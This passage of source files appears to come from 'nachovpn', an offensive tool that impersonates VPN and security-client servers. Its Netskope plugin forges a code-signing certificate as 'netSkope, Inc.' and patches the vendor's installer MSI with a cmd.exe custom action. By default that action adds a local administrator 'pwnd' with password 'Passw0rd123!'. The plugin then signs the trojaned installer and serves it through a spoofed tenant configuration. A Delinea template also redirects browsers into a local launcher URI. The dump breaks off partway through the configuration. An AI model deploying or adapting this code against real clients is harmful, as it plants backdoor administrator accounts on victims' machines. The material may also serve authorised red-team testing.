    "content": "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n  <soap:Body>\n    <GetSymmetricKeyResponse xmlns=\"urn:thesecretserver.com\">\n      <GetSymmetricKeyResult>\n        <Key>{{ aes_key }}</Key>\n        <IV>{{ aes_iv }}</IV>\n        <SessionKey>{{ session_key }}</SessionKey>\n        <SessionIV>{{ session_iv }}</SessionIV>\n      </GetSymmetricKeyResult>\n    </GetSymmetricKeyResponse>\n  </soap:Body>\n</soap:Envelope>"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/UpdateStatusV2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<soap:Envelope\n\txmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n\t<soap:Body>\n\t\t<UpdateStatusV2Response\n\t\t\txmlns=\"urn:thesecretserver.com\">\n\t\t\t<UpdateStatusV2Result>\n\t\t\t\t<IsBeingViewed>false</IsBeingViewed>\n\t\t\t\t<IsTerminate>false</IsTerminate>\n\t\t\t\t<IsWarning>false</IsWarning>\n\t\t\t</UpdateStatusV2Result>\n\t\t</UpdateStatusV2Response>\n\t</soap:Body>\n</soap:Envelope>"
  },
  {
    "path": "src/nachovpn/plugins/delinea/templates/index.html",
    "content": "<html>\n    <body>\n        <script>\n            const guid = \"{{ guid }}\";\n            const sessionGuid = \"{{ session_guid }}\";\n            window.location.href = `sslauncher:///?ssurl={{ url_encoded }}&guid=${guid}&sessionGuid=${sessionGuid}&type=process&apiVersion=3&autoUpdateEnabled=True`;\n        </script>\n    </body>\n</html>"
  },
  {
    "path": "src/nachovpn/plugins/example/__init__.py",
    "content": ""
  },
  {
    "path": "src/nachovpn/plugins/example/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import Flask, jsonify, request\nimport logging\n\nclass ExamplePlugin(VPNPlugin):\n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        # Add additional routes specific to this plugin\n        @self.flask_app.route('/api/v2/healthcheck', methods=['GET'])\n        def healthcheck_v2():\n            return jsonify({\"message\": \"OK\"})\n\n    def can_handle_http(self, handler):\n        return handler.path in ['/api/v2/healthcheck']\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        logging.info(f\"ExamplePlugin::can_handle_data: Received data from {client_ip}: {data.hex()}\")\n        return len(data) >= 4 and b\"PING\" in data[:4]\n\n    def handle_data(self, data, client_socket, client_ip):\n        logging.info(f\"ExamplePlugin::handle_data: Received data from {client_ip}: {data.hex()}\")\n        client_socket.sendall(b\"PONG\\n\")\n        return True\n"
  },
  {
    "path": "src/nachovpn/plugins/netskope/__init__.py",
    "content": "from .plugin import NetskopePlugin\n\n__all__ = [\n    'NetskopePlugin'\n]"
  },
  {
    "path": "src/nachovpn/plugins/netskope/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import Response, abort, request, send_file, jsonify\nfrom nachovpn.plugins.paloalto.msi_patcher import get_msi_patcher\n\nimport subprocess\nimport shutil\nimport os\nimport time\nimport jwt\nimport random\nimport string\nimport hashlib\nimport base64\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import padding\nfrom cryptography.hazmat.primitives.serialization import pkcs12\nfrom datetime import datetime, timedelta, timezone\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID, ObjectIdentifier\n\n\nclass NetskopePlugin(VPNPlugin):\n    def __init__(self, *args, **kwargs):\n        # provide the templates directory relative to this plugin\n        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))\n\n        # Payload storage\n        self.payload_dir = os.path.join(os.getcwd(), 'payloads')\n        self.files_dir = os.path.join(os.path.dirname(__file__), 'files')\n        self.cache_dir = os.path.join(os.getcwd(), 'cache')\n        os.makedirs(self.payload_dir, exist_ok=True)\n        os.makedirs(self.cache_dir, exist_ok=True)\n\n        # Payload options\n        self.msi_force_patch = os.getenv(\"NETSKOPE_MSI_FORCE_PATCH\", False)\n        self.msi_force_download = os.getenv(\"NETSKOPE_MSI_FORCE_DOWNLOAD\", False)\n        self.msi_add_file = os.getenv(\"NETSKOPE_MSI_ADD_FILE\", None)\n        self.msi_increment_version = os.getenv(\"NETSKOPE_MSI_INCREMENT_VERSION\", True)\n        self.msi_command = os.getenv(\n            \"NETSKOPE_MSI_COMMAND\",\n            r\"net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add\"\n        )\n\n        # Certificate paths\n        self.codesign_cert_path = os.path.join('certs', 'netskope-codesign.cer')\n        self.codesign_key_path = os.path.join('certs', 'netskope-codesign.key')\n        self.codesign_pfx_path = os.path.join('certs', 'netskope-codesign.pfx')\n\n        # Tenant config\n        self.tenant_config = {\n            \"orgkey\": os.getenv(\"NETSKOPE_ORGKEY\", self.random_string(20)),\n            \"tenant_id\": os.getenv(\"NETSKOPE_TENANT_ID\", self.random_int(1000, 9999)),\n            \"tenant_name\": os.getenv(\"NETSKOPE_TENANT_NAME\", \"TestOrg\"),\n            \"region\": os.getenv(\"NETSKOPE_REGION\", \"eu\"),\n            \"pop_name\": os.getenv(\"NETSKOPE_POP_NAME\", \"UK-LON1\"),\n            \"addon_manager_host\": os.getenv(\"NETSKOPE_ADDON_MANAGER_HOST\", self.dns_name),\n            \"enrollment_host\": os.getenv(\"NETSKOPE_ENROLLMENT_HOST\", self.dns_name),\n            \"addon_checker_host\": os.getenv(\"NETSKOPE_ADDON_CHECKER_HOST\", self.dns_name),\n            \"sf_checker_host\": os.getenv(\"NETSKOPE_SF_CHECKER_HOST\", self.dns_name),        # sfchecker.goskope.com\n            \"npa_gateway_host\": os.getenv(\"NETSKOPE_NPA_GATEWAY_HOST\", self.dns_name),      # gateway.npa.goskope.com\n            \"nsgw_host\": os.getenv(\"NETSKOPE_NSGW_HOST\", self.dns_name),                    # gateway-<tenant_name>.eu.goskope.com\n            \"nsgw_backup_host\": os.getenv(\"NETSKOPE_NSGW_BACKUP_HOST\", self.dns_name),      # gateway-backup-<tenant_name>.eu.goskope.com\n            \"gslb_gateway_host\": os.getenv(\"NETSKOPE_GSLB_GATEWAY_HOST\", self.dns_name),    # gateway.gslb.goskope.com\n            \"npa_host\": os.getenv(\"NETSKOPE_NPA_HOST\", self.dns_name),                      # ns-<tenant_id>.nl-am2.npa.goskope.com\n            \"stitcher_host\": os.getenv(\"NETSKOPE_STITCHER_HOST\", self.dns_name),            # stitcher.npa.goskope.com\n            \"dp_gateway_fqdn\": os.getenv(\"NETSKOPE_DP_GATEWAY_FQDN\", self.dns_name),        # gateway-lon2.goskope.com\n            \"user_email\": os.getenv(\"NETSKOPE_USER_EMAIL\", \"test.user@example.com\"),\n            \"user_key\": os.getenv(\"NETSKOPE_USER_KEY\", self.random_string(20)),\n            \"client_version\": os.getenv(\"NETSKOPE_CLIENT_VERSION\", \"200.0.0.2272\"),\n            \"client_hash\": self.random_hash(\"sha1\"),\n        }\n\n        if not self.bootstrap():\n            self.logger.error(f\"Failed to bootstrap. Disabling {self.__class__.__name__}\")\n            self.enabled = False\n\n    def random_string(self, length=20):\n        return ''.join(random.choices(string.ascii_uppercase + string.ascii_lowercase, k=length))\n\n    def random_int(self, min=1, max=10000):\n        return random.randint(min, max)\n\n    def random_hash(self, algorithm=\"md5\"):\n        h = hashlib.new(algorithm)\n        h.update(self.random_string().encode())\n        return h.hexdigest().upper()\n\n    def sign_msi_files(self):\n        if not os.path.exists(self.codesign_cert_path):\n            self.logger.error(\"Windows code signing certificate not found, skipping signing\")\n            return False\n\n        if not os.path.exists(os.path.join(self.payload_dir, \"STAgent.msi\")):\n            self.logger.error(\"MSI file not found, skipping signing\")\n            return False\n\n        if os.name == \"nt\":\n            self.logger.error(\"Windows MSI signing not supported yet\")\n            return False\n\n        if not os.path.exists('/usr/bin/osslsigncode'):\n            self.logger.error(\"osslsigncode not found, skipping signing\")\n            return False\n\n        # Sign the MSI files\n        for msi_file in [\"STAgent.msi\"]:\n            input_file = os.path.join(self.payload_dir, msi_file)\n            output_file = os.path.join(self.payload_dir, f\"{msi_file}.signed\")\n\n            # Remove existing signed file\n            if os.path.exists(output_file):\n                os.remove(output_file)\n\n            proc = subprocess.run([\n                \"/usr/bin/osslsigncode\", \"sign\", \"-pkcs12\", self.codesign_pfx_path,\n                \"-h\", \"sha256\", \"-in\", input_file, \"-out\", output_file,\n                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n            if proc.returncode or not os.path.exists(output_file):\n                self.logger.error(f\"Failed to sign {msi_file}: {proc.returncode}\")\n                return False\n            else:\n                self.logger.info(f\"Signed {msi_file}\")\n                os.replace(output_file, input_file)\n        return True\n\n    def verify_msi_files(self):\n        # Verify that the MSI files are signed by our current CA\n        if os.name == \"nt\":\n            self.logger.error(\"Windows MSI verification not supported yet\")\n            return True\n\n        if os.name == \"posix\" and not os.path.exists('/usr/bin/osslsigncode'):\n            self.logger.error(\"osslsigncode not found, skipping verification\")\n            return True\n\n        for msi_file in [\"STAgent.msi\"]:\n            proc = subprocess.run([\n                \"/usr/bin/osslsigncode\", \"verify\", \"-CAfile\", self.cert_manager.ca_cert_path,\n                \"-in\", os.path.join(self.payload_dir, msi_file),\n                ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n            if proc.returncode:\n                self.logger.error(f\"Failed to verify {msi_file}: {proc.returncode}\")\n                return False\n\n        self.logger.info(\"MSI file verified\")\n        return True\n\n    def patch_msi_files(self):\n        # Patch the msi files\n        if os.path.exists(os.path.join(self.payload_dir, \"STAgent.msi\")) and \\\n           not self.msi_force_patch and self.verify_msi_files():\n            self.logger.warning(\"MSI file already patched, skipping\")\n            return True\n\n        if os.name == \"posix\" and not os.path.exists('/usr/bin/msidump'):\n            self.logger.error(\"msitools not found, skipping patching\")\n            return True\n\n        # Check if MSI files are present\n        if not os.path.exists(os.path.join(self.files_dir, \"STAgent.msi\")):\n            self.logger.warning(f\"MSI file not found in files directory: {self.files_dir}\")\n            return False\n\n        patcher = get_msi_patcher()\n\n        for msi_file in [\"STAgent.msi\"]:\n            # Copy default MSI file to payload directory\n            input_file = os.path.join(self.files_dir, msi_file)\n            output_file = os.path.join(self.payload_dir, msi_file)\n            shutil.copy(input_file, output_file)\n\n            # Add patches\n            if self.msi_add_file:\n                patcher.add_file(output_file, self.msi_add_file, self.random_hash(), \"DefaultFeature\")\n                self.logger.info(f\"Added file {self.msi_add_file} to {msi_file}\")\n\n            if self.msi_command:\n                patcher.add_custom_action(output_file, f\"_{self.random_hash()}\", 50, \n                                          \"C:\\\\windows\\\\system32\\\\cmd.exe\", f\"/c {self.msi_command}\", \n                                          \"InstallExecuteSequence\")\n                self.logger.info(f\"Added custom action to {msi_file}\")\n\n            # Set the MSI version\n            patcher.set_msi_version(output_file, self.tenant_config[\"client_version\"])\n            self.logger.info(f\"Set MSI version for {msi_file}\")\n\n            # Add CERT_DIGEST property\n            # Not validated, but it's required by the STAgent service\n            cert_digest = base64.b64encode(os.urandom(256)).decode()\n            patcher.add_custom_property(output_file, \"CERT_DIGEST\", cert_digest)\n            self.logger.info(f\"Added CERT_DIGEST property to {msi_file}\")\n\n        self.logger.info(\"MSI file patched\")\n        return True\n\n    def get_org_cert(self):\n        return self.get_ca_cert()\n\n    def get_ca_cert(self):\n        with open(self.cert_manager.ca_cert_path, 'r') as f:\n            return f.read()\n\n    def get_user_cert(self):\n        # Generate a private key for the user certificate\n        user_private_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=2048,\n            backend=default_backend()\n        )\n\n        # Create the code signing certificate\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COMMON_NAME, self.tenant_config[\"user_email\"]),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, self.tenant_config[\"tenant_name\"]),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, os.urandom(16).hex()),\n            x509.NameAttribute(NameOID.LOCALITY_NAME, \"London\"),\n            x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, \"GB\"),\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"GB\"),\n            x509.NameAttribute(NameOID.EMAIL_ADDRESS, self.tenant_config[\"user_email\"]),\n        ])\n\n        eku_list = [\n            ExtendedKeyUsageOID.CLIENT_AUTH,\n        ]\n\n        key_usage = x509.KeyUsage(\n            digital_signature=True,\n            key_encipherment=True,\n            content_commitment=False,\n            data_encipherment=False,\n            key_agreement=True,\n            encipher_only=False,\n            decipher_only=False,\n            key_cert_sign=False,\n            crl_sign=False\n        )\n\n        builder = x509.CertificateBuilder().subject_name(\n            subject\n        ).issuer_name(\n            self.cert_manager.ca_cert.subject\n        ).public_key(\n            user_private_key.public_key()\n        ).serial_number(\n            x509.random_serial_number()\n        ).not_valid_before(\n            datetime.now(timezone.utc) - timedelta(days=1)\n        ).not_valid_after(\n            datetime.now(timezone.utc) + timedelta(days=365)\n        ).add_extension(\n            x509.ExtendedKeyUsage(eku_list),\n            critical=True,\n        ).add_extension(\n            key_usage,\n            critical=True,\n        )\n\n        # Sign the certificate with the CA private key\n        user_certificate = builder.sign(self.cert_manager.ca_key, hashes.SHA256(), default_backend())\n\n        # Convert to pkcs12\n        user_p12 = serialization.pkcs12.serialize_key_and_certificates(\n            b\"user\",\n            user_private_key,\n            user_certificate,\n            None,\n            serialization.NoEncryption())\n\n        self.logger.info(f\"Generated user certificate for {self.tenant_config['user_email']}\")\n        return user_p12\n\n    def bootstrap(self):\n        # Generate a Windows code signing certificate\n        if not os.path.exists(self.codesign_cert_path) or not os.path.exists(self.codesign_key_path):\n            self.cert_manager.generate_codesign_certificate(\n                common_name=\"netSkope, Inc.\",\n                cert_path=self.codesign_cert_path,\n                key_path=self.codesign_key_path,\n                pfx_path=self.codesign_pfx_path\n            )\n\n        # Load the CA certificate into the tenant config\n        with open(self.cert_manager.ca_cert_path, 'r') as f:\n            self.tenant_config[\"ca_certificate\"] = f.read()\n\n        # Patch the Windows MSI file and sign it\n        if not self.patch_msi_files():\n            return False\n        if not self.sign_msi_files():\n            return False\n        return True\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        if 'Netskope ST Agent' in user_agent or \\\n           handler.path in [\"/nsauth/client/authenticate\", \"/netskope/generate_command\"]:\n            return True\n        return False\n\n    def timestamp(self):\n        return datetime.now(timezone.utc).strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n\n    def request_id(self):\n        return base64.urlsafe_b64encode(os.urandom(15)).decode()\n\n    def version_hex(self):\n        return os.urandom(6).hex()[:5]\n\n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        @self.flask_app.route(\"/\", methods=[\"GET\"])\n        def index():\n            return jsonify({\"access-method\" : \"Client\"})\n\n        @self.flask_app.route(\"/v1/externalhost\", methods=[\"GET\"])\n        def externalhost():\n            data = {\n                \"status\": \"success\",\n                \"hosts\": {\n                    \"enrollment\": self.tenant_config[\"enrollment_host\"]\n                    },\n                \"enabled\": \"true\"\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/adconfig\", methods=[\"GET\"])\n        def adconfig():\n            return jsonify({\"secureUPN\": \"0\", \"status\": \"success\"})\n\n        @self.flask_app.route(\"/client/supportlogging\", methods=[\"POST\"])\n        def support_logging():\n            return jsonify({\"status\": \"success\"})\n\n        @self.flask_app.route(\"/config/user/getbrandingbyemail\", methods=[\"GET\"])\n        def getbrandingbyemail():\n            orgkey = request.args.get('orgkey', self.tenant_config[\"orgkey\"])\n            data = {\n                \"AddonCheckerHost\": self.tenant_config[\"addon_checker_host\"],\n                \"AddonCheckerResponseCode\": \"netSkope@netSkope\",\n                \"AddonManagerHost\": self.tenant_config[\"addon_manager_host\"],\n                \"EncryptBranding\": False,\n                \"OrgKey\": orgkey,\n                \"OrgName\": self.tenant_config[\"tenant_name\"],\n                \"SFCheckerHost\": self.tenant_config[\"sf_checker_host\"],\n                \"SFCheckerIP\": \"8.8.8.8\",\n                \"UserEmail\": self.tenant_config[\"user_email\"],\n                \"UserKey\": self.tenant_config[\"user_key\"],\n                \"ValidateConfig\": False,\n                \"status\": \"success\",\n                \"tenantID\": self.tenant_config[\"tenant_id\"]\n                }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/v1/branding/tenant/<tenant>\", methods=[\"GET\"])\n        def brandingtenant(tenant):\n            jwt = request.headers.get('Authorization')\n            data = {\n                \"encrypted\": False,\n                \"nonce\": \"\",\n                \"branding\": {\n                    \"AddonCheckerHost\": self.tenant_config[\"addon_checker_host\"],\n                    \"AddonCheckerResponseCode\": \"netSkope@netSkope\",\n                    \"AddonManagerHost\": self.tenant_config[\"addon_manager_host\"],\n                    \"EncryptBranding\": False,\n                    \"OrgKey\": self.tenant_config[\"orgkey\"],\n                    \"OrgName\": self.tenant_config[\"tenant_name\"],\n                    \"SFCheckerHost\": self.tenant_config[\"sf_checker_host\"],\n                    \"SFCheckerIP\": \"8.8.8.8\",\n                    \"UserEmail\": self.tenant_config[\"user_email\"],\n                    \"UserKey\": self.tenant_config[\"user_key\"],\n                    \"ValidateConfig\": False,\n                    \"status\": \"success\",\n                    \"tenantID\": self.tenant_config[\"tenant_id\"]\n                }\n            }\n            return jsonify(data)\n\n        @self.flask_app.route(\"/v2/config/org/clientconfig\", methods=[\"GET\"])\n        def clientconfig():\n            userconfig = request.args.get('userconfig', \"0\")\n            tenantconfig = request.args.get('tenantconfig', \"0\")\n            data = {}\n            if tenantconfig == \"1\":\n                data = {\n                    \"IDPModeOnlyIfConfigured\": \"0\",\n                    \"MDMSecureEnrollmentTokenEnabled\": \"1\",\n                    \"OverrideAccessMethodDetection\": \"0\",\n                    \"add_os_and_access_method_to_ssl_decryption\": \"1\",\n                    \"advance_firewall_enabled\": \"0\",\n                    \"alert_acknowledge\": \"0\",\n                    \"allowClientDisabling\": \"true\",\n                    \"allowIdPLogout\": \"false\",\n                    \"allowNpaDisabling\": \"true\",\n                    \"allowOnetimeClientDisabling\": \"0\",\n                    \"allow_autouninstall\": \"0\",\n                    \"alwaysOnDemandVPN\": \"0\",\n                    \"always_send_nsdeviceuid_new\": \"1\",\n                    \"always_send_nsdeviceuid_new_v2\": \"1\",\n                    \"android_chromeos_ns_client\": \"0\",\n                    \"app_instance_management_enabled\": \"0\",\n                    \"blockDnsTCP\": \"0\",\n                    \"blockIPv6\": \"0\",\n                    \"bwanclient\": \"0\",\n                    \"bwanenrollmenturl\": \"\",\n                    \"bypassApp\": \"1\",\n                    \"bypassLoopbackDNS\": \"1\",\n                    \"bypassOfficeAppsAtAndroidOS\": \"0\",\n                    \"bypassPacDownloadFlow\": \"0\",\n                    \"bypassPreferredIPv4macOS\": \"0\",\n                    \"bypassPrivateTrafficAtDriver\": \"0\",\n                    \"case_sensitive_groups\": \"0\",\n                    \"cert_pinned_app_decryption_enabled\": \"0\",\n                    \"cfg_ver_usr_update_check\": \"0\",\n                    \"checkCiscoVpn\": \"0\",\n                    \"checkSNI\": \"false\",\n                    \"check_msi_digest\": \"0\",\n                    \"clientAssistedGSLBGTM\": \"1\",\n                    \"clientAssistedGTM\": \"1\",\n                    \"clientEncryptBranding\": \"0\",\n                    \"clientHandleOverlappingDomains\": \"0\",\n                    \"clientStatusEnableBatching\": \"0\",\n                    \"clientStatusUpdate\": {\n                        \"heartbeatIntervalInMin\": \"30\"\n                    },\n                    \"clientStatusUpdateIntervalInMin\": \"5\",\n                    \"clientUninstall\": {\n                        \"allowUninstall\": \"true\"\n                    },\n                    \"clientUpdate\": {\n                        \"allowAutoGoldenUpdate\": \"false\",\n                        \"allowAutoUpdate\": \"true\",\n                        \"showUpdateNotification\": \"false\",\n                        \"updateIntervalInMin\": \"1\"\n                    },\n                    \"client_config_post_v2\": \"0\",\n                    \"configUpdate\": {\n                        \"updateIntervalInMin\": \"1\"\n                    },\n                    \"configurationName\": \"Test Client Configuration\",\n                    \"custom_email_sending_domain\": \"0\",\n                    \"dc_cert_check_crl_support_enabled\": \"0\",\n                    \"dc_cert_check_sc_support_enabled\": \"0\",\n                    \"dc_custom_label_enabled\": \"1\",\n                    \"debugSettings\": \"true\",\n                    \"demClientAppProbeLimit\": \"10\",\n                    \"demDeviceHealthIntervalInMin\": \"0\",\n                    \"demDpRouteControlCollectInterval\": \"0\",\n                    \"demStationAppProbeLimit\": \"30\",\n                    \"demTopConsumptionMetrics\": \"0\",\n                    \"dem_active_station_limit\": \"0\",\n                    \"dem_app_probes_max_limit\": \"0\",\n                    \"dem_custom_apps_max_limit\": \"0\",\n                    \"dem_network_path_probes_max_limit\": \"0\",\n                    \"demconfig_host\": \"\",\n                    \"dest-ip-policy\": \"0\",\n                    \"deviceUniqueID\": \"1\",\n                    \"device_admin\": {\n                        \"auto_start_prelogin_tunnel\": \"false\",\n                        \"cert_ca\": [],\n                        \"data\": \"\",\n                        \"prelogin_username\": \"\",\n                        \"show_prelogon_status\": \"true\",\n                        \"validate_crl\": \"false\"\n                    },\n                    \"device_classification_av_os_checks_enabled\": \"1\",\n                    \"device_classification_cert_check_enabled\": \"0\",\n                    \"device_classification_ui_improvements\": \"1\",\n                    \"disableFirefoxPopup\": \"0\",\n                    \"disableJavaDnsCache\": \"0\",\n                    \"disableMacCannotAllocateCheck\": \"0\",\n                    \"disable_appssoagent_restart\": \"0\",\n                    \"dlp_unique_count_enabled\": \"1\",\n                    \"dns_custom_port\": \"0\",\n                    \"drop_svcb_dns_resolver_query\": \"1\",\n                    \"duplicateRccDataToGEF\": \"0\",\n                    \"dynamicSteering\": \"1\",\n                    \"dynamicSteeringImprovementEnabled\": \"1\",\n                    \"email_svc_v2_tenant_feature\": \"1\",\n                    \"enableAOACSupport\": \"1\",\n                    \"enableAirDropException\": \"0\",\n                    \"enableClientSelfProtection\": \"false\",\n                    \"enableDemClientStatus\": \"0\",\n                    \"enableDemHeartbeat\": \"1\",\n                    \"enableMacOSInterfaceBinding\": \"0\",\n                    \"enableMacPerformance\": \"0\",\n                    \"enableMacPerformance_v2\": \"0\",\n                    \"enableSaveBatteryForSleepMode\": \"0\",\n                    \"enableTLSKey\": \"0\",\n                    \"enableTunnelSessionNotFound\": \"0\",\n                    \"enableUpdatePropertyFrameSupport\": \"1\",\n                    \"enable_case_insensitivity\": \"0\",\n                    \"enable_dc_smart_card_insertion_detection\": \"0\",\n                    \"enable_deep_custom_category_fetching\": \"0\",\n                    \"enable_dem_npa_private_apps\": \"0\",\n                    \"enable_mongo_maria_sync_tenant\": \"1\",\n                    \"enable_scim_custom_attributes\": \"0\",\n                    \"enable_scim_custom_attributes_event_enrichment\": \"0\",\n                    \"enable_um_mongo_sync\": \"0\",\n                    \"encryptClientConfig\": \"0\",\n                    \"endpoint_dlp\": \"0\",\n                    \"endpoint_dlp_cd_dvd\": \"0\",\n                    \"endpoint_dlp_content_bluetooth\": \"0\",\n                    \"endpoint_dlp_content_network\": \"0\",\n                    \"endpoint_dlp_content_printer\": \"0\",\n                    \"endpoint_dlp_device_encryption\": \"0\",\n                    \"endpoint_dlp_enabled\": \"0\",\n                    \"endpoint_dlp_mac_bluetooth_device_control\": \"1\",\n                    \"endpoint_dlp_macos_content_control_settings\": \"0\",\n                    \"endpoint_dlp_ui_mip_profiles_warning\": \"0\",\n                    \"endpoint_dlp_ui_otp_enabled\": \"0\",\n                    \"enhancedCertPinnedApplist\": \"1\",\n                    \"enhanced_reports\": \"1\",\n                    \"enhanced_reports_feature_start_date\": \"2025-01-01 00:00:00\",\n                    \"enhanced_reports_migration_period\": \"90\",\n                    \"enhanced_reports_pre_migration_period\": \"90\",\n                    \"enhanced_reports_start_date\": \"2025-01-01 00:00:00\",\n                    \"epdlp_mp\": \"\",\n                    \"eventForwarderHost\": \"\",\n                    \"event_incident_enabled\": \"0\",\n                    \"ext_urp_enabled\": \"0\",\n                    \"externalProxy\": [],\n                    \"externalProxyConfig\": \"1\",\n                    \"failClose\": {\n                        \"captive_portal_timeout\": \"\",\n                        \"exclude_npa\": \"false\",\n                        \"fail_close\": \"false\",\n                        \"notification\": \"false\"\n                    },\n                    \"fail_close_enabled\": \"1\",\n                    \"fast_fetch_enabled\": \"0\",\n                    \"featureActivationExpiry\": \"0\",\n                    \"feature_ios_client_download\": \"0\",\n                    \"feature_mongo_client_secondary_allowed\": \"0\",\n                    \"forward_to_proxy_settings\": \"0\",\n                    \"gslb\": {\n                        \"host\": self.tenant_config[\"gslb_gateway_host\"],\n                        \"port\": \"443\"\n                    },\n                    \"gsuite_mailclient_enabled\": \"0\",\n                    \"handleExceptionsAtDriver\": \"0\",\n                    \"handleSNIFromSegmentPacket\": \"0\",\n                    \"hideClientIcon\": \"false\",\n                    \"hide_client_after\": \"50\",\n                    \"ignoreInactiveSystemProxy\": \"0\",\n                    \"ignoreLoopbackProxy\": \"0\",\n                    \"ignore_cert_chain_certs\": \"1\",\n                    \"industry_comparison_enabled\": \"1\",\n                    \"injectAtTransportLayer\": 0,\n                    \"inline_policy_enhancements_enabled\": \"1\",\n                    \"interopProxy\": {\n                        \"host\": \"\",\n                        \"port\": 0,\n                        \"product\": 0\n                    },\n                    \"ios_vpn_mode\": \"1\",\n                    \"isClientSTA\": \"1\",\n                    \"large_file_support\": \"0\",\n                    \"linuxBypassRouteIPException\": \"0\",\n                    \"localTrafficBypass\": \"1\",\n                    \"logLevel\": \"info\",\n                    \"master_passcode_for_client_disablement\": \"0\",\n                    \"mdm_secure_enrollment\": \"1\",\n                    \"metrics\": {\n                        \"enable\": \"0\"\n                    },\n                    \"mongo_user_info_flag\": \"1\",\n                    \"mtu\": \"1476\",\n                    \"ng_device_classification_enabled\": \"0\",\n                    \"notBypassBlockedCertpinnedAppOnSession0\": \"0\",\n                    \"npa\": {\n                        \"dnstcp_enabled\": \"1\",\n                        \"dtls_enabled\": \"0\",\n                        \"gslb\": {\n                            \"host\": self.tenant_config[\"gslb_gateway_host\"],\n                            \"port\": \"443\"\n                        },\n                        \"host\": self.tenant_config[\"npa_gateway_host\"],\n                        \"keepalive_timeout\": 15,\n                        \"lb_host\": \"\",\n                        \"npa_local_broker_v1\": \"0\",\n                        \"port\": 443,\n                        \"port_bypass_enabled\": \"0\",\n                        \"rfc1918_enabled\": \"0\",\n                        \"tenant\": self.tenant_config[\"npa_host\"]\n                    },\n                    \"npa_4k_pvkey_cert\": \"0\",\n                    \"npa_appdiscovery_host_limit\": \"32\",\n                    \"npa_auth_client_enrollment_enabled\": \"0\",\n                    \"npa_client_allow_disable\": \"1\",\n                    \"npa_client_bypass_local_subnet_disabled\": \"0\",\n                    \"npa_client_compose_device_user_id\": \"0\",\n                    \"npa_client_l4\": \"0\",\n                    \"npa_client_use_cgnat\": \"0\",\n                    \"npa_docker_support\": \"0\",\n                    \"npa_enable_tls_cipher_aes128_only\": \"1\",\n                    \"npa_enable_wildcard_app_validation\": \"0\",\n                    \"npa_gslb_client\": \"0\",\n                    \"npa_gslb_client_no_fallback\": \"0\",\n                    \"npa_gslb_client_pop_count\": \"10\",\n                    \"npa_gslb_client_v2\": \"0\",\n                    \"npa_gslb_client_v3\": \"1\",\n                    \"npa_handle_dns_https_query\": \"0\",\n                    \"npa_lz4_support\": \"0\",\n                    \"npa_max_dns_search_domains\": \"0\",\n                    \"npa_srp_compress\": \"0\",\n                    \"npa_srpv2\": \"1\",\n                    \"npa_srpv2_configdist\": \"1\",\n                    \"nsclient_api_security_no_enc\": \"0\",\n                    \"nsgw\": {\n                        \"backupHost\": self.tenant_config[\"nsgw_backup_host\"],\n                        \"host\": self.tenant_config[\"nsgw_host\"],\n                        \"port\": 443\n                    },\n                    \"onpremcheck\": {\n                        \"onprem_additional_http_hosts\": [],\n                        \"onprem_additional_ips\": [],\n                        \"onprem_host\": \"\",\n                        \"onprem_http_host\": \"\",\n                        \"onprem_http_tcp_connection_timeout\": \"\",\n                        \"onprem_ip\": \"\",\n                        \"onprem_use_dns\": \"\"\n                    },\n                    \"overrideUserDisableAfterLogin\": \"0\",\n                    \"partner_orange\": \"0\",\n                    \"pdem_subscription_level\": \"None\",\n                    \"policy_group_count_max\": \"1024\",\n                    \"postureValidation\": {\n                        \"periodic_validation_enabled\": \"true\",\n                        \"validation\": {\n                            \"interval\": 60\n                        }\n                    },\n                    \"posture_validation_enabled\": \"1\",\n                    \"prc_dp_geofence\": \"0\",\n                    \"prc_dp_npa_tenant\": \"0\",\n                    \"prc_dp_premium_npa_tenant\": \"0\",\n                    \"prc_dp_tenant\": \"0\",\n                    \"prelogin_enabled\": \"false\",\n                    \"premium_reports\": \"1\",\n                    \"premium_reports_licensing_status\": \"1\",\n                    \"premium_reports_licensing_status_start_date\": \"2025-01-01 00:00:00\",\n                    \"premium_reports_migration_period\": \"0\",\n                    \"premium_reports_ns_superadmin_access_only\": \"0\",\n                    \"premium_reports_trial_period\": \"0\",\n                    \"priority\": 0,\n                    \"privateApps\": {\n                        \"npa_vdi_support\": \"false\",\n                        \"npa_vdi_user\": \"\",\n                        \"partner_access\": \"false\",\n                        \"partner_tenant_access\": \"false\",\n                        \"partner_tenant_info\": [],\n                        \"primary_tenant_name\": \"\",\n                        \"reauth_enabled\": \"false\",\n                        \"seamless_policy_update\": \"true\"\n                    },\n                    \"protocol\": \"dtls\",\n                    \"proxyAuth\": \"0\",\n                    \"proxy_chaining_enabled\": \"0\",\n                    \"publisher_selection\": \"0\",\n                    